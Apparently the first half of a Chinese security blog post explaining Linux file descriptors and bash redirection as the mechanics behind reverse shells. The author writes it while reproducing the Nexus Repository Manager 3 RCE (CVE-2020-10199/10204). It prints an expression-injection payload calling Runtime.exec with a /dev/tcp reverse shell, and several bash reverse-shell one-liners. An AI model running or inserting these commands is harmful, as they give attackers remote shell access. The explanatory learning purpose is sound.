0x00 前言

在自己学习复现 Nexus Repository Manager 3 RCE 漏洞的时候（CVE-2020-10199/10204）

由于自己对 Java 的 Runtime.exec() 执行命令以及反弹shell理解的太过于浅薄，使用了以下语句无法反弹shell，踩了很多坑

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1')}

此处记录一下查阅一些资料和实践后学习到的东西。如有错误，请各位师傅指正

0x01 文件描述符

Q：首先什么是文件？
A：在 Linux 下，一切皆为文件，就连键盘显示器设备都是文件，它们的输入输出都是由文件描述符控制

文件描述符 (简称 fd) ：在Linux系统中，当某个程序打开文件时，操作系统返回相应的文件描述符，程序为了处理该文件必须引用此描述符。

而Linux 启动文件的时候，会默认打开三个文件描述符

• 文件描述0 表示标准输入
• 文件描述1 表示标准输出
• 文件描述2 表示标准错误

image

/dev/tty0 泛指当前终端

当我们需要让输出不显示在当前TTY上，而是输出到文件或者其他设备，此时我们便需要重定向

0x02 重定向

在执行命令之前，可以使用 shell 可解释的特殊符号来重定向其输入/输出。重定向允许复制、打开、关闭命令的文件句柄，使其引用不同的文件，并且可以更改命令读取和写入的文件。也就是说，先进行重定向，再执行命令

重定向按照从左到右的顺序执行

最后，若省略文件描述符，< 表示对标准输入（文件描述符0）的重定向，> 表示对标准输出（文件描述符1）的重定向

输入重定向

下文中的所有原文都是 bash 5.0 手册里写道

Redirection of input causes the file whose name results from the expansion of word to be opened for reading on file descriptor n, or the standard input (file descriptor 0) if n is not specified.

The general format for redirecting input is:

[n]< word

将文件描述符 n 重定向到 word 指代的文件（以只读方式打开），若 n 未指定，则打开标准输入（文件描述符0）

image

image

这里，解析器先将标准输入重定向到 w.txt 文件，之后 cat 命令再从标准输入去读取指令时，由于标准输入已经重定向到了 w.txt 文件，于是就从 w.txt 文件中读取指令了。

输出重定向

Redirection of output causes the file whose name results from the expansion of word to be opened for writing on file descriptor n, or the standard output (file descriptor 1) if n is not specified. If the file does not exist it is created; if it does exist it is truncated to zero size.

The general format for redirecting output is:

[n]>[|]word

If the redirection operator is ‘>’, and the noclobber option to the set builtin has been enabled, the redirection will fail if the file whose name results from the expansion of word exists and is a regular file. If the redirection operator is ‘>|’, or the redirection operator is ‘>’ and the noclobber option is not enabled, the redirection is attempted even if the file named by word exists.

描述：将文件描述符 n 重定向到 word 指代的文件（以写的方式打开），若 n 未指定，则打开标准输出（文件描述符1）。如果重定向符号为 ">"，且内置的 noclobber (防止覆盖文件) 选项开启，那么如果这个 word 指代的文件如果是一个存在的常规文件，则会重定向失败；而如果重定向符号为 ">|" 或 ">"（未开启noclobber），那么即时 word 指代的文件存在，也会尝试重定向。

$ set –o noclobber // 使noclobber变量开
$ set +o noclobber // 使noclobber变量关

image

image

标准输出和标准错误的重定向

This construct allows both the standard output (file descriptor 1) and the standard error output (file descriptor 2) to be redirected to the file whose name is the expansion of word.

There are two formats for redirecting standard output and standard error:

&>word and >&word

Of the two forms, the first is preferred. This is semantically equivalent to

>word 2>&1

描述：将标准输出与标准错误输出都定向到 word 指代的文件（以写的方式打开），两种格式意义完全相同，首选第一种。他们在语义上等同于于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出)

image

image

文件描述符的复制

 [n]<&[m] / [n]>&[m] 

描述：

1）就是将任何文件描述符n的内容复制到文件描述符m中，例如上面的 2>&1

n<&m 和 n>&m 是完全等价的（只是打开方式一个是读，一个是写）

image

2）而这里的 &，我理解为类似于指针的东西

image

管道

| 能将左侧命令的标准输出连接到右侧命令的标准输入。也就是说，它创建一个特殊的文件，即管道，将其左边命令以写为目的打开文件并作为右边命令的源输入进行读取

image

image

0x03 反弹shell的实质

打开/dev/tcp这个文件特殊文件，就类似于发出一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据

例如：

image

ls 和 ceshi 是由左边的终端输入的

而我们的反弹shell其实就需要把我们的输入输出重定向到这个特殊文件上来，我们来看看平常使用了bash反弹的语句

1) bash -i >& /dev/tcp/ip/port 0>&1

这句话来讲

bash -i 是获取一个交互式bash

>& /dev/tcp/ip/port 是将标准输出和错误重定向到/dev/tcp/ip/port 文件中

1> /dev/tcp/ip/port

13.png

2>&1

14.png

0>&1

15.png

2) bash -i >&/dev/tcp/ip/port<&1

image

这个和上一个同理， 0>&1 和 0<&1 完全等价

3) exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done

以读写的方式打开文件，并将文件描述符5重定向到/dev/tcp/ip/port，同时我们就便能通过这个文件操作符对socket连接进行操作

将标准输入重定向到文件描述符5中，然后cat读取，同时作为后面命令的输入。随后便是循环读取，并赋值给line，将line执行的标准输出和标准错误输出重定向到文件操作符5指代的/dev/tcp/ip/port文件

17.png

太长了，分两篇~

下篇详细内容请见